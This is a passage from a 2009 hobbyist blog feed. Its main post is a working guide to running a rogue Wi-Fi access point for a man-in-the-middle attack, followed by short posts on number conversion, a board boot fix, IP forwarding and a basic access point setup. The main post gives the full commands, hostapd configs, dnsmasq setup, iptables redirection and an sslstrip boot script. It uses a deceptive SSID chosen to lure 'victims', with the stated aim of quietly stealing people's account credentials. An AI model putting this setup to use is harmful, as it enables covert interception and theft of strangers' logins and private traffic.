middle&lt;/li&gt;&lt;li&gt;automate this for the next reboot.&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;The first step is to create the 3 different interfaces:&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;wlanconfig ath0 destroy; wlanconfig ath0 create wlandev wifi0 wlanmode ap; ifconfig ath0 192.168.100.1 netmask 255.255.255.0&lt;br /&gt;wlanconfig ath1 destroy; wlanconfig ath1 create wlandev wifi0 wlanmode ap; ifconfig ath1 192.168.101.1 netmask 255.255.255.0&lt;br /&gt;wlanconfig ath2 destroy; wlanconfig ath2 create wlandev wifi0 wlanmode managed; ifconfig ath2 up&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The output sould be something like:&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;&gt; ifconfig&lt;br /&gt;&lt;br /&gt;ath0      Link encap:Ethernet  HWaddr 0E:FC:CB:2D:54:1A&lt;br /&gt;    inet addr:192.168.100.1  Bcast:192.168.100.255  Mask:255.255.255.0&lt;br /&gt;    inet6 addr: fe80::4c0:caff:fe1f:442b/64 Scope:Link&lt;br /&gt;    UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&lt;br /&gt;    RX packets:0 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;    TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;    collisions:0 txqueuelen:0&lt;br /&gt;    RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)&lt;br /&gt;&lt;br /&gt;ath1      Link encap:Ethernet  HWaddr 0E:FC:CB:2D:54:1A&lt;br /&gt;    inet addr:192.168.101.1  Bcast:192.168.101.255  Mask:255.255.255.0&lt;br /&gt;    inet6 addr: fe80::8c0:caff:fe1f:442b/64 Scope:Link&lt;br /&gt;    UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&lt;br /&gt;    RX packets:0 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;    TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;    collisions:0 txqueuelen:0&lt;br /&gt;    RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)&lt;br /&gt;&lt;br /&gt;ath2      Link encap:Ethernet  HWaddr 0E:FC:CB:2D:54:1A&lt;br /&gt;    inet6 addr: fe80::cc0:caff:fe1f:442b/64 Scope:Link&lt;br /&gt;    UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&lt;br /&gt;    RX packets:0 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;    TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;    collisions:0 txqueuelen:0&lt;br /&gt;    RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)&lt;br /&gt;&lt;br /&gt;&gt; iwconfig&lt;br /&gt;&lt;br /&gt;ath0      IEEE 802.11g  ESSID:""  Nickname:""&lt;br /&gt;    Mode:Master  Frequency:2.462 GHz  Access Point: Not-Associated&lt;br /&gt;    Bit Rate:0 kb/s   Tx-Power:18 dBm   Sensitivity=1/1&lt;br /&gt;    Retry:off   RTS thr:off   Fragment thr:off&lt;br /&gt;    Encryption key:off&lt;br /&gt;    Power Management:off&lt;br /&gt;    Link Quality=0/70  Signal level=-83 dBm  Noise level=-83 dBm&lt;br /&gt;    Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0&lt;br /&gt;    Tx excessive retries:0  Invalid misc:0   Missed beacon:0&lt;br /&gt;&lt;br /&gt;ath1      IEEE 802.11g  ESSID:""  Nickname:""&lt;br /&gt;    Mode:Master Channel:0  Access Point: Not-Associated&lt;br /&gt;    Bit Rate:0 kb/s   Tx-Power:18 dBm   Sensitivity=1/1&lt;br /&gt;    Retry:off   RTS thr:off   Fragment thr:off&lt;br /&gt;    Encryption key:off&lt;br /&gt;    Power Management:off&lt;br /&gt;    Link Quality=0/70  Signal level=-83 dBm  Noise level=-83 dBm&lt;br /&gt;    Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0&lt;br /&gt;    Tx excessive retries:0  Invalid misc:0   Missed beacon:0&lt;br /&gt;&lt;br /&gt;ath2      IEEE 802.11g  ESSID:""  Nickname:""&lt;br /&gt;    Mode:Managed  Channel:0  Access Point: Not-Associated&lt;br /&gt;    Bit Rate:0 kb/s   Tx-Power:18 dBm   Sensitivity=1/1&lt;br /&gt;    Retry:off   RTS thr:off   Fragment thr:off&lt;br /&gt;    Encryption key:off&lt;br /&gt;    Power Management:off&lt;br /&gt;    Link Quality=0/70  Signal level=-83 dBm  Noise level=-83 dBm&lt;br /&gt;    Rx invalid nwid:9  Rx invalid crypt:0  Rx invalid frag:0&lt;br /&gt;    Tx excessive retries:0  Invalid misc:0   Missed beacon:0&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;If you set an ESSID for the interface ath0 and ath1, you will be able to connect right away. However, we want to add some security to ath0. For this, we will use hostapd. We will write two different hostapd.conf files, one for each ap (ath0 and ath1).&lt;br /&gt;&lt;br /&gt;Here is the output for the open access point, I did not change from the default settings.&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;interface=ath1 ****&lt;br /&gt;driver=madwifi ****&lt;br /&gt;logger_syslog=1&lt;br /&gt;logger_syslog_level=1&lt;br /&gt;logger_stdout=1&lt;br /&gt;logger_stdout_level=1&lt;br /&gt;dump_file=/tmp/hostapd.dump&lt;br /&gt;ctrl_interface=/var/run/hostapd&lt;br /&gt;ctrl_interface_group=0&lt;br /&gt;ssid=NETGEAR-211 ****&lt;br /&gt;hw_mode=g ****&lt;br /&gt;channel=1 ****&lt;br /&gt;beacon_int=300 ****&lt;br /&gt;dtim_period=2&lt;br /&gt;max_num_sta=5&lt;br /&gt;rts_threshold=2347&lt;br /&gt;fragm_threshold=2346&lt;br /&gt;acaddr_acl=0&lt;br /&gt;auth_algs=3&lt;br /&gt;ignore_broadcast_ssid=0&lt;br /&gt;wme_enabled=1&lt;br /&gt;wme_ac_bk_cwmin=4&lt;br /&gt;wme_ac_bk_cwmax=10&lt;br /&gt;wme_ac_bk_aifs=7&lt;br /&gt;wme_ac_bk_txop_limit=0&lt;br /&gt;wme_ac_bk_acm=0&lt;br /&gt;wme_ac_be_aifs=3&lt;br /&gt;wme_ac_be_cwmin=4&lt;br /&gt;wme_ac_be_cwmax=10&lt;br /&gt;wme_ac_be_txop_limit=0&lt;br /&gt;wme_ac_be_acm=0&lt;br /&gt;wme_ac_vi_aifs=2&lt;br /&gt;wme_ac_vi_cwmin=3&lt;br /&gt;wme_ac_vi_cwmax=4&lt;br /&gt;wme_ac_vi_txop_limit=94&lt;br /&gt;wme_ac_vi_acm=0&lt;br /&gt;wme_ac_vo_aifs=2&lt;br /&gt;wme_ac_vo_cwmin=2&lt;br /&gt;wme_ac_vo_cwmax=3&lt;br /&gt;wme_ac_vo_txop_limit=47&lt;br /&gt;wme_ac_vo_acm=0&lt;br /&gt;eapol_key_index_workaround=0&lt;br /&gt;eap_server=0&lt;br /&gt;own_ip_addr=127.0.0.1&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;I added an arrow where the default parameters must be changed. One might wonder "why are we setting such an ESSID "NETGEAR-211" ?" The reason is that if you put something like "free_wifi", it might alarm the person who wants to connect (free wifi ? Why ? sounds weird), whereas NETGEAR is the default essid for netgear ap's. I added a "-211" to know that it is mine.&lt;br /&gt;&lt;br /&gt;For the other access point, we do almost the same, but this time with wpa enabled:&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;interface=ath0&lt;br /&gt;driver=madwifi&lt;br /&gt;logger_syslog=-1&lt;br /&gt;logger_syslog_level=2&lt;br /&gt;logger_stdout=-1&lt;br /&gt;logger_stdout_level=2&lt;br /&gt;dump_file=/tmp/hostapd.dump&lt;br /&gt;ctrl_interface=/var/run/hostapd&lt;br /&gt;ctrl_interface_group=0&lt;br /&gt;ssid=blabla  *****&lt;br /&gt;hw_mode=g&lt;br /&gt;channel=1&lt;br /&gt;beacon_int=300&lt;br /&gt;dtim_period=2&lt;br /&gt;max_num_sta=255&lt;br /&gt;rts_threshold=2347&lt;br /&gt;fragm_threshold=2346&lt;br /&gt;macaddr_acl=0&lt;br /&gt;auth_algs=3&lt;br /&gt;ignore_broadcast_ssid=0&lt;br /&gt;wme_enabled=1&lt;br /&gt;wme_ac_bk_cwmin=4&lt;br /&gt;wme_ac_bk_cwmax=10&lt;br /&gt;wme_ac_bk_aifs=7&lt;br /&gt;wme_ac_bk_txop_limit=0&lt;br /&gt;wme_ac_bk_acm=0&lt;br /&gt;wme_ac_be_aifs=3&lt;br /&gt;wme_ac_be_cwmin=4&lt;br /&gt;wme_ac_be_cwmax=10&lt;br /&gt;wme_ac_be_txop_limit=0&lt;br /&gt;wme_ac_be_acm=0&lt;br /&gt;wme_ac_vi_aifs=2&lt;br /&gt;wme_ac_vi_cwmin=3&lt;br /&gt;wme_ac_vi_cwmax=4&lt;br /&gt;wme_ac_vi_txop_limit=94&lt;br /&gt;wme_ac_vi_acm=0&lt;br /&gt;wme_ac_vo_aifs=2&lt;br /&gt;wme_ac_vo_cwmin=2&lt;br /&gt;wme_ac_vo_cwmax=3&lt;br /&gt;wme_ac_vo_txop_limit=47&lt;br /&gt;wme_ac_vo_acm=0&lt;br /&gt;eapol_key_index_workaround=0&lt;br /&gt;eap_server=0&lt;br /&gt;own_ip_addr=127.0.0.1&lt;br /&gt;wpa=1&lt;br /&gt;wpa_passphrase=yeahthisisagoodpass ******&lt;br /&gt;wpa_key_mgmt=WPA-PSK&lt;br /&gt;wpa_pairwise=TKIP CCMP&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Now we can lauch our two instances of hostapd:&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;hostapd -B /etc/hostapd/hostapd.conf&lt;br /&gt;hostapd -B /etc/hostapd/hostapd_freewifi.conf&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;You should now be able to connect to the each of these aps, using static IP addresses.&lt;br /&gt;&lt;br /&gt;To get internet, we should still configure ath2 to forward the packets:&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;iwconfig ath2 essid voisin key 78:02:15:20:23&lt;br /&gt;dhcpcd ath2&lt;br /&gt;[...]&lt;br /&gt;echo 1 &gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;iptables -t nat -A POSTROUTING -o ath2 -j MASQUERADE&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Now you should be able to have internet by connecting on ath0 and ath1. Good :)&lt;br /&gt;&lt;br /&gt;We want our victims to connect on our AP extremely easily, hence we need at least a dhcp server to give them an IP address. For this, I chose "dnsmasq", because it is very easy to configure. In the same time, we will provide a DNS cache to boost our dns requests.&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;# cat /etc/dnsmasq.conf&lt;br /&gt;listen-address=192.168.100.1,192.168.101.1,127.0.0.1&lt;br /&gt;dhcp-range=192.168.100.50,192.168.100.150,255.255.255.0,12h&lt;br /&gt;dhcp-range=192.168.101.50,192.168.101.150,255.255.255.0,12h&lt;br /&gt;log-dhcp&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;You can see what is happening in /var/log/message when someone does a DHCP request. Note that we provide no interface in here, in order to respond to all the dhcp request comming on the different interfaces. Thus, even ath0 will profit of the DHCP server.&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;/etc/rc.d/dnsmasq start&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;At this point, we have two working APs providing internet. We want not to do some devil stuff, by stealing people's accounts in a very discrete fashion. I thought for a while about which was the best way to do this. A long time ago, I was using ettercap, but for the router, it is not very a good choice. Then I was wondering if dsniff suite could do the job. It does, but I was not really convinced. You know, when you connect to a website requiring a ssl certificate, if you are using ettercap, you will get some huge WARNING all the way around. This is not what I call "discrete".&lt;br /&gt;&lt;br /&gt;Anyways, after few minutes, I found a tool called &lt;a href="http://www.thoughtcrime.org/software/sslstrip/"&gt;sslstrip&lt;/a&gt;. This tool has been presented at blackhat last year and does a pretty good job. I let you see on their website how it works for more info. To make it work, it is damn easy:&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;iptables -i ath1 -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000&lt;br /&gt;sslstrip -p -f -w ./verycool.txt&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Note that iptables is acting on ath1. Now if you try to connect on the open AP, guess what happens ?  I was surprised to see how well it works. The drawback is that it slows down a bit the connection.&lt;br /&gt;&lt;br /&gt;Now, we don't want to redo this every time the alix reboots. I modified the /etc/rc.d/hostapd into /etc/rc.d/hostapd_mod:&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;&gt; less /etc/init.d/hostapd_mod&lt;br /&gt;#!/bin/bash&lt;br /&gt;&lt;br /&gt;. /etc/rc.conf&lt;br /&gt;. /etc/rc.d/functions&lt;br /&gt;&lt;br /&gt;case "$1" in&lt;br /&gt;start)&lt;br /&gt;stat_busy "Destroying and creating ath0"&lt;br /&gt;wlanconfig ath0 destroy; wlanconfig ath0 create wlandev wifi0 wlanmode ap; ifconfig ath0 192.168.100.1 netmask 255.255.255.0&lt;br /&gt;stat_busy "Destroying and creating ath1"&lt;br /&gt;wlanconfig ath1 destroy; wlanconfig ath1 create wlandev wifi0 wlanmode ap; ifconfig ath1 192.168.101.1 netmask 255.255.255.0&lt;br /&gt;stat_busy "Starting hostapd"&lt;br /&gt;sleep 1&lt;br /&gt;/usr/bin/hostapd -B -P /var/run/hostapd.pid /etc/hostapd/hostapd.conf &amp;amp;&gt; /dev/null&lt;br /&gt;/usr/bin/hostapd -B -P /var/run/hostapd.pid2 /etc/hostapd/hostapd_freewifi.conf &amp;amp;&gt; /dev/null&lt;br /&gt;stat_busy "Starting sslstrip"&lt;br /&gt;iptables -i ath1 -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000&lt;br /&gt;stat_busy "Destroying and creating ath2"&lt;br /&gt;wlanconfig ath2 destroy; wlanconfig ath2 create wlandev wifi0 wlanmode managed;&lt;br /&gt;iptables -t nat -A POSTROUTING -o ath2 -j MASQUERADE&lt;br /&gt;sslstrip -p -f -w /home/root/cool_stuff-`date +"%H-%M-%m-%d"`.txt &amp;amp;&lt;br /&gt;if [ $? -gt 0 ]; then&lt;br /&gt; stat_fail&lt;br /&gt;else&lt;br /&gt; stat_done&lt;br /&gt; add_daemon hostapd&lt;br /&gt;fi&lt;br /&gt;;;&lt;br /&gt;stop)&lt;br /&gt;stat_busy "Stopping hostapd"&lt;br /&gt;[ -f /var/run/hostapd.pid ] &amp;amp;&amp;amp; kill `cat /var/run/hostapd.pid` &amp;amp;&amp;amp; kill `cat /var/run/hostapd.pid2` &amp;amp;&amp;amp; killall sslstrip &amp;amp;&gt; /dev/null&lt;br /&gt;if [ $? -gt 0 ]; then&lt;br /&gt; stat_fail&lt;br /&gt;else&lt;br /&gt; stat_done&lt;br /&gt; rm_daemon hostapd&lt;br /&gt;fi&lt;br /&gt;;;&lt;br /&gt;restart)&lt;br /&gt;$0 stop&lt;br /&gt;sleep 1&lt;br /&gt;$0 start&lt;br /&gt;;;&lt;br /&gt;*)&lt;br /&gt;echo "usage: $0 {start|stop|restart}"&lt;br /&gt;esac&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;This is probably not the cleanest way to do, but it works pretty well. However, ath2 does not connect to the AP here (manually for now).&lt;br /&gt;&lt;br /&gt;/etc/rc.conf has the following:&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;DAEMONS=(network sshd crond dnsmasq hostapd_mod)&lt;br /&gt;&lt;br /&gt;lo="lo 127.0.0.1"&lt;br /&gt;eth0="eth0 192.168.2.3 netmask 255.255.255.0 up"&lt;br /&gt;ath0="ath0 192.168.101.1 netmask 255.255.255.0 up"&lt;br /&gt;ath1="ath1 192.168.100.1 netmask 255.255.255.0 up"&lt;br /&gt;ath1="ath1 up"&lt;br /&gt;INTERFACES=(eth0 ath0 ath1 ath2)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Obviously, an easy way to circumvent this MITM is to use a VPN for example or an encrypted connexion.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4618371342657995948-4777701734037173101?l=life-is-a-hack.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://life-is-a-hack.blogspot.com/feeds/4777701734037173101/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/07/very-rogue-access-point-mitm-is-back.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/4777701734037173101'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/4777701734037173101'/><link rel='alternate' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/07/very-rogue-access-point-mitm-is-back.html' title='A very rogue access point: MITM is BACK !'/><author><name>cam0</name><uri>http://www.blogger.com/profile/00317854258602811333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_VjvtY-L1RNE/TEGhOeIqHkI/AAAAAAAANLk/Xci0iK4Q6Ns/S220/image.jpeg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_VjvtY-L1RNE/SmxEit4FHQI/AAAAAAAAADA/Gcoch1ucm5s/s72-c/mitm.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4618371342657995948.post-1201217708081443612</id><published>2009-07-23T10:46:00.003+02:00</published><updated>2009-07-23T10:52:11.140+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='calculator'/><title type='text'>Hex to dec to bin conversion</title><content type='html'>There exist a plethora of different manners to convert numbers. Some use bc, others use the shell, but there is a small program that does the trick pretty well: &lt;a href="http://pcalc.sourceforge.net/"&gt;pcalc&lt;/a&gt;. &lt;br /&gt;&lt;br /&gt;Look at the output:&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;&gt; pcalc 3124&lt;br /&gt;        3124            0xc34           0y110000110100&lt;br /&gt;&gt; pcalc 0x5349-99&lt;br /&gt;        21222           0x52e6          0y101001011100110&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Simple and effective, that's it.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4618371342657995948-1201217708081443612?l=life-is-a-hack.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://life-is-a-hack.blogspot.com/feeds/1201217708081443612/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/07/hex-to-dec-to-bin-conversion.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/1201217708081443612'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/1201217708081443612'/><link rel='alternate' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/07/hex-to-dec-to-bin-conversion.html' title='Hex to dec to bin conversion'/><author><name>cam0</name><uri>http://www.blogger.com/profile/00317854258602811333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_VjvtY-L1RNE/TEGhOeIqHkI/AAAAAAAANLk/Xci0iK4Q6Ns/S220/image.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4618371342657995948.post-8601269338384058546</id><published>2009-07-21T19:01:00.005+02:00</published><updated>2009-07-23T10:46:04.583+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='alix3d3'/><category scheme='http://www.blogger.com/atom/ns#' term='boot'/><title type='text'>alix3d3: issue when booting up</title><content type='html'>The router is almost ok, now I am trying to boot the board. However, when no screen is attached, it hangs at boot time, after displaying an error message with "edd". I tried to disable it, it didn't help.. I've no clue yet, but I'm investigating. Since I don't have any screen in here, it makes thinks more difficult :P...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;EDIT: &lt;a href="http://ubuntuforums.org/archive/index.php/t-840576.html&lt;br /&gt;"&gt;some guy (Chris)&lt;/a&gt; proposed a genius idea:&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;Get a paperclip and carefully insert into the VGA header plug, shorting pin 6 to pin 12 (middle row far right to bottom row 2nd from the right). Whenever you don't have a monitor attached leave the paperclip in. Your Alix 3c3 will now boot up without a monitor attached.&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;So greats to him :). &lt;br /&gt;&lt;br /&gt;According to &lt;a href="http://en.wikipedia.org/wiki/VGA_connector&lt;br /&gt;"&gt;Wikipedia&lt;/a&gt;, Pin 6 = Red return and Pin 12 = PC Data, then it makes sense to bridge them. &lt;br /&gt;&lt;br /&gt;Apparently, CONFIG_FIRMWARE_EDID=n should fix it, too.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4618371342657995948-8601269338384058546?l=life-is-a-hack.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://life-is-a-hack.blogspot.com/feeds/8601269338384058546/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/07/alix3d3-issue-when-booting-up.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/8601269338384058546'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/8601269338384058546'/><link rel='alternate' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/07/alix3d3-issue-when-booting-up.html' title='alix3d3: issue when booting up'/><author><name>cam0</name><uri>http://www.blogger.com/profile/00317854258602811333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_VjvtY-L1RNE/TEGhOeIqHkI/AAAAAAAANLk/Xci0iK4Q6Ns/S220/image.jpeg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4618371342657995948.post-1974122423031694060</id><published>2009-07-18T15:38:00.005+02:00</published><updated>2009-08-29T12:14:11.550+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='IP forwarding'/><category scheme='http://www.blogger.com/atom/ns#' term='networking'/><title type='text'>IP forwarding for the dummies</title><content type='html'>How many times I am configuring a box and I don't have access to Internet.&lt;br /&gt;Here is a simple and effective way to transform your laptop as an IP forwarder.&lt;br /&gt;&lt;br /&gt;Suppose that you are configuring the alix3d3 and you don't have access to Internet, but your laptop does. We want to connect a wire between the alix3d3 and the laptop. Here is what to do:&lt;br /&gt;&lt;br /&gt;-&gt; On your laptop:&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;ifconfig eth0 192.168.2.2 # set a static ip address to eth0&lt;br /&gt;echo 1 &gt; /proc/sys/net/ipv4/ip_forward # set forwarding&lt;br /&gt;iptables -t nat -A POSTROUTING -o ${IFACE_NET} -j MASQUERADE&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Note that ${IFACE_NET} is the interface from where you get your internet access. Usually, if it is by wifi, it is ath0 or wlan0.&lt;br /&gt;&lt;br /&gt;-&gt; On the other box:&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;ifconfig eth0 192.168.2.3&lt;br /&gt;route add -net default gw 192.168.2.2&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Make sure your /etc/resolv.conf is not empty. You can still use a &lt;a href="http://theos.in/windows-xp/free-fast-public-dns-server-list/"&gt;public dns server.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;That's all, now you are able to get internet from your box, using the laptop.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4618371342657995948-1974122423031694060?l=life-is-a-hack.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://life-is-a-hack.blogspot.com/feeds/1974122423031694060/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/07/ip-forwarding-for-dummies.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/1974122423031694060'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/1974122423031694060'/><link rel='alternate' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/07/ip-forwarding-for-dummies.html' title='IP forwarding for the dummies'/><author><name>cam0</name><uri>http://www.blogger.com/profile/00317854258602811333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_VjvtY-L1RNE/TEGhOeIqHkI/AAAAAAAANLk/Xci0iK4Q6Ns/S220/image.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4618371342657995948.post-8044788837773333013</id><published>2009-07-18T13:30:00.029+02:00</published><updated>2009-07-20T22:15:12.000+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='access point'/><category scheme='http://www.blogger.com/atom/ns#' term='alix3d3'/><category scheme='http://www.blogger.com/atom/ns#' term='wifi'/><title type='text'>alix3d3: towards an access point</title><content type='html'>Now that we have a running operating system (Arch linux in this case), the next step I would like to do is to configure my box as an &lt;a href="http://en.wikipedia.org/wiki/Wireless_access_point"&gt;access point&lt;/a&gt;, to act as my old dd-wrt router.&lt;br /&gt;&lt;br /&gt;There are already good topics on the subject, like &lt;a href="http://www.linux.com/archive/articles/55617"&gt;here&lt;/a&gt; or &lt;a href="http://oob.freeshell.org/nzwireless/LWAP-HOWTO.html"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;To test my network, I am using 3 computers (you can do it with VMs though):&lt;br /&gt;&lt;ol&gt;&lt;li&gt;A laptop: it will be my "client".&lt;br /&gt;&lt;/li&gt;&lt;li&gt;A fix computer: it will act as my ISP.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Alix3d3: it will act as my wireless access point (WAP).&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_VjvtY-L1RNE/SmHLq_SPf0I/AAAAAAAAACo/Jr_J0nlvxyA/s1600-h/ap.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 87px;" src="http://2.bp.blogspot.com/_VjvtY-L1RNE/SmHLq_SPf0I/AAAAAAAAACo/Jr_J0nlvxyA/s400/ap.png" alt="" id="BLOGGER_PHOTO_ID_5359788970950491970" border="0" /&gt;&lt;/a&gt;As you can see in the picture, the client connects to the WAP by the air (hence the name :P)  and the AP connects to the server with a wire.  The server runs a simple dhcp server.&lt;br /&gt;&lt;br /&gt;To have this configuration, here is what we need to do:&lt;br /&gt;&lt;br /&gt;On the server, we need to install the dhcp server. I decided to use dnsmasq, because it is very easy to configure and fits well for my small network.&lt;br /&gt;&lt;br /&gt;To do so, on the server, simply add to your /etc/dnsmasq.conf the next lines. Note that it is not mandatory to explicitly write the interface, but I find it cleaner. The &lt;span style="font-style: italic;"&gt;log-dhcp&lt;/span&gt; will bring helpful information about what is going on, in /var/log/message (just do a 'tail -f' on it).&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;dhcp-range=192.168.2.50,192.168.2.150,3d&lt;br /&gt;interface=eth0&lt;br /&gt;log-dhcp&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Once you set it up, you boot the dnsmasq service, usually by doing something like&lt;br /&gt;&lt;pre name="code" class="bash"&gt;ifconfig eth0 192.168.2.1&lt;br /&gt;/etc/init.d/dnsmasq start&lt;br /&gt;&lt;/pre&gt;You can test that everything is working properly, by connecting the alix3d3 board to the server and run a&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;dhcpcd eth0&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Now that we have a dhcp server available, we need to configure the access point. To make it simple, I decided to configure the simplest access point, ie without any encryption (for now).&lt;br /&gt;&lt;br /&gt;The wireless card is using the madwifi driver. As you know, madwifi does not do exactly follow the same way as the other drivers, since it is using its wlanconfig tool.&lt;br /&gt;Basically, since we want to set our card as an access point, we have to do:&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="bash"&gt;wlanconfig ath0 destroy&lt;br /&gt;wlanconfig ath0 create wlandev wifi0 wlanmode ap&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Now you have your card in master mode, you can verify it by doing a &lt;span style="font-style: italic;"&gt;iwconfig&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;To me, an access point only offers the "wire". In a sense, it is like when 2 people do not speak the same language, and a person comes in the middle speaking both languages. The first person speaks to the person of the middle whose will translate it to the second person.&lt;br /&gt;&lt;br /&gt;In our case, a &lt;a 